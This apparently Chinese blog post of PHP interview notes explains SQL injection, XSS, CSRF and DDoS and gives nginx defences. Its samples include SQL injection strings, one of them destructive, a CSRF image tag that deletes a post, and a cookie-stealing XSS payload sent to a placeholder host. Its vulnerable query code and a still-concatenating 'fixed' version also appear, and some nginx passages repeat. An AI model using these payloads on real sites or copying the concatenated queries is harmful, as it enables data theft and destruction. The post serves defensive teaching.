php之攻击篇

SYN攻击

SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,
通过发送大量的半连接请求,耗费CPU和内存资源。 SYN攻击
除了能影响主机外,还可以危害路由器、
防火墙等网络系统,事实上SYN攻击并不管目标是什么系统,
 只要这些系统
打开TCP服务就可以实施

sql注入篇

5 sql注入?【高频】
sql注入产生的原因其实还是没有对输入输出进行安全过滤的问题,后台的直接将用户的输入当做了sql语句的一部
分,然后就直接执行了,导致用户对sql语句可控。
$arg = $_POST['user_name'];
//$arg = 1' or user_name='无辜用户'
//$arg = 1'; 'drop databases
$sql = " select *from user where user_name = '$arg' ";
$sql = " select *from user where user_name = '1' or user_name='无辜用户' ";
$sql = " select *from user where user_name = '1'; 'drop databases' ";
#这里执行sql语句
预防:
1、不要随意开启生产环境中Webserver的错误显示。 2、永远不要信任来自用户端的变量输入,有固定格式的变量
一定要严格检查对应的格式,没有固定格式的变量需要对引号等特殊字符进行必要的过滤转义。 3、使用预编译绑定
变量的SQL语句,如php的PDO预编译和mysqli预编译等。【最有效】 4、做好数据库帐号权限管理。 5、严格加密
处理用户的机密信息。

什么是xss攻击?如何预防?【高频】


1、什么是xss攻击?
跨站脚本攻击,xss其实也算是注入的一种,只不过属于html/js注入,注入类漏洞的都是没有对用户输入输出进行安
全处理导致的。而csrf的话更有一种隐藏在黑暗中的刺客的感觉,而且是借刀杀人的那种,这里借的刀就是用户的会
话状态(或者说cookie?,举一个例子,比如你请求了一个带有csrf漏洞的普通页面,可能这个页面中就有这么一段
代码<img src=http://www.xxx.com?action=del&id=2>这段代码就悄悄地去请求了你的博客(www.xxx.com),并
且删除了id为2的文章
2、如何预防?
预防思路
web 页面中可由用户输入的地方,如果对输入的数据转义、过滤处理 后台输出页面的时候,也需要对输出内容进行
转义、过滤处理(因为攻击者可能通过其他方式把恶意脚本写入数据库) 前端对 html 标签属性、css 属性赋值的地
方进行校验
注意:
各种语言都可以找到 escapeHTML() 方法可以转义 html 字符。
转义后
%3Cscript%3Ewindow.open%28%22xxx.aaa.xxx%3Fparam%3D%22+document.cookie%29%3C/script%3E

盲注与普通注入

 听过盲注吗,解释一下,和报错注入、普通注入的区别?
盲注是猜测,然后验证
报错注入是故意填错,然后看到报错信息里面的关键信息
普通注入就是拼接恶意sql
8.什么是CSRF攻击?如何预防?【高频】
CSRF(Cross-site request forgery)也被称为 one-click attack或者 session riding,中文全称是叫跨站请求伪造。
一般来说,攻击者通过伪造用户的浏览器的请求,向访问一个用户自己曾经认证访问过的网站发送出去,使目标网站
接收并误以为是用户的真实操作而去执行命令。常用于盗取账号、转账、发送虚假消息等。攻击者利用网站对请求的
验证漏洞而实现这样的攻击行为,网站能够确认请求来源于用户的浏览器,却不能验证请求是否源于用户的真实意愿
下的操作行为。
1. 验证请求的来源站点
在服务器端验证请求的来源站点。因为CSRF攻击大多数都是来自第三方站点。
通过http请求头中的Referer和Origin属性
referer属性
记录了该http请求的来源地址,但有些场景不适合将来源URL暴露给服务器,所以可以设置不用上传,并且referer属
性是可以修改的,所以在服务器端校验referer属性并没有那么可靠
origin属性
通过XMLHttpRequest、Fetch发起的跨站请求或者Post方法发送请求时,都会带上origin,所以服务器可以优先判断
Origin属性,再根据实际情况判断是否使用referer判断。
2. CSRF Token
除了上面两个方法之外,还可以使用CSRF Token来验证。
在浏览器向服务器发起请求时,服务器生成一个CSRF Token(字符串)发送给浏览器,然后将该字符串放入页
面中
浏览器请求时(如表单提交)需要带上这个CSRF Token。服务器收到请求后,验证CSRF是否合法,如果不合法
拒绝即可。
相关接口网关只容许信任站点进来请求
3、要求用户输入验证码,比如手机短信验证码
9 DDOS(分布式拒绝服务)是什么,如何预防?
ddos资料:
5.5.1 ddos 是什么
通俗的例子:
我开了一家餐厅,正常情况下,最多可以容纳100个人同时进餐。你直接走进餐厅,找一张桌子坐下点餐,马
上就可以吃到东西。
很不幸,我得罪了一个流氓。他派出1000个人同时涌进餐厅。这些人看上去跟正常的顾客一样,每个都说”赶
快上餐”。但是,餐厅的容量只有100个人,根本不可能同时满足这么多的点餐需求,加上他们把门口都堵死
了,里三层外三层,正常用餐的客人根本进不来,实际上就把餐厅瘫痪了。
这就是 DDoS 攻击,它在短时间内发起大量请求,耗尽服务器的资源,无法响应正常的访问,造成网站实质下
线。
DDoS 里面的 DoS 是 denial of service(停止服务)的缩写,表示这种攻击的目的,就是使得服务中断。最前面
的那个 Ddistributed (分布式),表示攻击不是来自一个地方,而是来自四面八方,因此更难防。你关了前
门,他从后门进来;你关了后门,他从窗口跳起来。
5.1 DDoS攻击如何工作?
DDoS攻击需要攻击者控制在线计算机网络才能进行攻击。计算机和其他计算机(如物联网设备)感染了恶意软件,
将每个计算机转变为机器人(或僵尸)。然后,攻击者可以远程控制僵尸程序组,这称为僵尸网络。
一旦僵尸网络建立,攻击者就可以通过远程控制方法向每个机器人发送更新的指令来指导机器。当受害者的IP地址被
僵尸网络作为目标时,每个僵尸程序将通过向目标发送请求来响应,可能导致目标服务器或网络溢出容量,从而导致
对正常流量的拒绝服务。由于每个机器人都是合法的Internet设备,因此将攻击流量与正常流量分开可能很困难。
单个HTTP请求在客户端执行起来很便宜,并且目标服务器响应起来可能很昂贵,因为服务器通常必须加载多个文件
并运行数据库查询才能创建网页。
5.3 DDOS攻击的特征
攻击经常来源于一些相对固定的IPIP段,每个IP都有远大于真实用户的连接数和请求数。
备注:这并不表明这种请求都是代表着DDOS攻击。在很多使用NAT的网络架构中,很多的客户端使用网关的IP
地址访问公网资源。但是,即便如此,这样的请求数和连接数也会远少于DDOS攻击。
因为攻击是由木马发出且目的是使服务器超负荷,请求的频率会远远超过正常人的请求。
User-Agent通常是一个非标准的值
伪造的ip是骗不过tcp的,能骗过udp
5.4 DDoS防御的方法
硬件防火墙,充足的网络,升级主机服务器硬件,安装专业抗DDOS防火墙(安全狗,360卫士),备份网站,部署
CDN(一旦上了 CDN,千万不要泄露源服务器的 IP 地址,否则攻击者可以绕过 CDN 直接攻击源服务器),购买高
防 IP(网站域名指向高防 IP,它提供一个缓冲层,清洗流量,并对源服务器的内容进行缓存),企业级 DDoS 清洗
系统架构,启用基于 sysctl 的保护,分层解决方案。
以上就是传说中的技术不够,用钱凑。
其它方法及注意事项:
使用 CSF,iptables,UFWAPF 等软件防火墙
服务器上没用的端口一定要关掉,只对外网开放80等端口,有些重要端口,比如mysql的3306,只对指定ip白名单
(公司内部服务器的ip地址)提供访问权限。
防止伪造IP:伪造是修改数据包。使用tcp而不是udp,TCP无法伪造IP,因为需要三次握手,比较安全;UDP可以伪
造。tcp必须使用代理ip,攻击者攻击成本高。
5.5 nginx防御DDOS
限制每个IP的请求速度
设置Nginx、Nginx Plus的连接请求在一个真实用户请求的合理范围内。比如,如果你觉得一个正常用户每两秒可以
请求一次登录页面,你就可以设置Nginx每两秒钟接收一个客户端IP的请求(大约等同于每分钟30个请求)。

limit_req_zone $binary_remote_addr zone=one:10m rate=60r/m;
server {
...
location /login.html {
limit_req zone=one;
...
}
}
limit_req_zone 命令设置了一个叫one的共享内存区来存储请求状态的特定键值,在上面的例子中是客户端
IP($binary_remote_addr)。location块中的 limit_req 通过引用one共享内存区来实现限制访问/login.html的目
的。
限制连接数量
设置Nginx、Nginx Plus的连接数在一个真实用户请求的合理范围内。比如,你可以设置每个客户端IP连接/store不
可以超过10个。
limit_conn_zone $binary_remote_addr zone=addr:10m;
server {
...
location /store/ {
limit_conn addr 10;
...
}
}
limit_conn_zone 命令设置了一个叫addr的共享内存区来存储特定键值的状态,在上面的例子中是客户端IP$binary_remote_addr)。location块中 limit_conn 通过引用addr共享内存区来限制到/store/的最大连接数为10。
关闭慢连接
有一些DDOS攻击,比如Slowlris,是通过建立大量的连接并周期性的发送一些数据包保持会话来达到攻击目的,这
种周期通常会低于正常的请求。这种情况我们可以通过关闭慢连接来抵御攻击。
client_body_timeout 命令用来定义读取客户端请求的超时时间, client_header_timeout 命令用来定于读取客
户端请求头的超时时间。这两个参数的默认值都是60s,我们可以通过下面的命令将他们设置为5s:
server {
client_body_timeout 5s;
client_header_timeout 5s;
...
}
设置IP黑名单
你确定攻击来源于123.123.123.3123.123.123.5123.123.123.7几个IP,可以这样设置:
设置IP白名单
如果你的网站仅允许特定的IPIP段访问,你可以结合使用allow和deny命令来限制仅允许你指定的IP地址访问你的
网站。如下,你可以设置仅允许192.168.1.0段的内网用户访问:
deny命令会拒绝除了allow指定的IP段之外的所有其他IP的访问请求。
使用缓存进行流量削峰
通过打开Nginx的缓存功能并设置特定的缓存参数,可以削减来自攻击的流量,同时也可以减轻对后端服务器的请求
压力。以下是一些有用的设置:
proxy_cache_use_stale 的updating参数告诉Nginx什么时候该更新所缓存的对象。只需要到后端的一个更新
请求,在缓存有效期间客户端对该对象的请求都无需访问后端服务器。当通过对一个文件的频繁请求来实施攻
击时,缓存功能可极大的降低到后端服务器的请求。
proxy_cache_key 命令定义的键值通常包含一些内嵌的变量(默认的键值$scheme$proxy_host$request_uri
包含了三个变量)。如果键值包含 $query_string 变量,当攻击的请求字符串是随机的时候就会给Nginx代理
server {
client_body_timeout 5s;
client_header_timeout 5s;
...
}
location / {
deny 123.123.123.3;
deny 123.123.123.5;
deny 123.123.123.7;
...
}
设置IP白名单
如果你的网站仅允许特定的IPIP段访问,你可以结合使用allow和deny命令来限制仅允许你指定的IP地址访问你的
网站。如下,你可以设置仅允许192.168.1.0段的内网用户访问:
deny命令会拒绝除了allow指定的IP段之外的所有其他IP的访问请求。
使用缓存进行流量削峰
通过打开Nginx的缓存功能并设置特定的缓存参数,可以削减来自攻击的流量,同时也可以减轻对后端服务器的请求
压力。以下是一些有用的设置:
proxy_cache_use_stale 的updating参数告诉Nginx什么时候该更新所缓存的对象。只需要到后端的一个更新
请求,在缓存有效期间客户端对该对象的请求都无需访问后端服务器。当通过对一个文件的频繁请求来实施攻
击时,缓存功能可极大的降低到后端服务器的请求。
proxy_cache_key 命令定义的键值通常包含一些内嵌的变量(默认的键值$scheme$proxy_host$request_uri
包含了三个变量)。如果键值包含 $query_string 变量,当攻击的请求字符串是随机的时候就会给Nginx代理
server {
client_body_timeout 5s;
client_header_timeout 5s;
...
}
location / {
deny 123.123.123.3;
deny 123.123.123.5;
deny 123.123.123.7;
...
}
location / {
allow 192.168.1.0/24;
deny all;
...
}
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
下面是一个 PHP 中 XSS 攻击的例子: 假设有一个留言板的 Web 应用程序,用户可以通过输入留言内容来发布留言。应用程序将用户输入的留言内容存储在一个数据库中,并在 Web 页面中显示出来。下面是一个简单的 PHP 代码示例: ``` <?php $message = $_POST['message']; $conn = mysqli_connect('localhost', 'root', '', 'test'); $sql = "INSERT INTO messages (content) VALUES ('$message')"; mysqli_query($conn, $sql); mysqli_close($conn); ?> <!-- 在 Web 页面中显示留言 --> <div><?php echo $_POST['message']; ?></div> ``` 在上述代码中,我们通过 `$_POST` 获取用户输入的留言内容,并将其拼接到 SQL 插入语句中。由于没有对用户输入的数据进行任何验证和过滤,攻击者可以通过输入恶意代码来实现 XSS 攻击。例如,攻击者可以在留言内容中输入以下内容: ``` <script>alert('XSS Attack!');</script> ``` 这段代码会被插入到数据库中,并在 Web 页面中显示出来,从而实现恶意脚本的注入和执行。 为了避免 XSS 攻击,应该对用户输入的数据进行过滤和转义,例如使用 `htmlspecialchars()` 函数将特殊字符转义,或者使用输入验证来过滤恶意代码。例如,以下是对用户输入的留言内容进行转义和输出的示例代码: ``` <?php $message = $_POST['message']; $conn = mysqli_connect('localhost', 'root', '', 'test'); $message = htmlspecialchars($message); $sql = "INSERT INTO messages (content) VALUES ('$message')"; mysqli_query($conn, $sql); mysqli_close($conn); ?> <!-- 在 Web 页面中显示留言 --> <div><?php echo htmlspecialchars($_POST['message']); ?></div> ``` 在上述代码中,我们使用 `htmlspecialchars()` 函数将用户输入的留言内容进行转义,以避免恶意脚本的注入和执行。同时,在输出留言内容时也要使用 `htmlspecialchars()` 函数对其进行转义,从而保证 Web 页面的安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值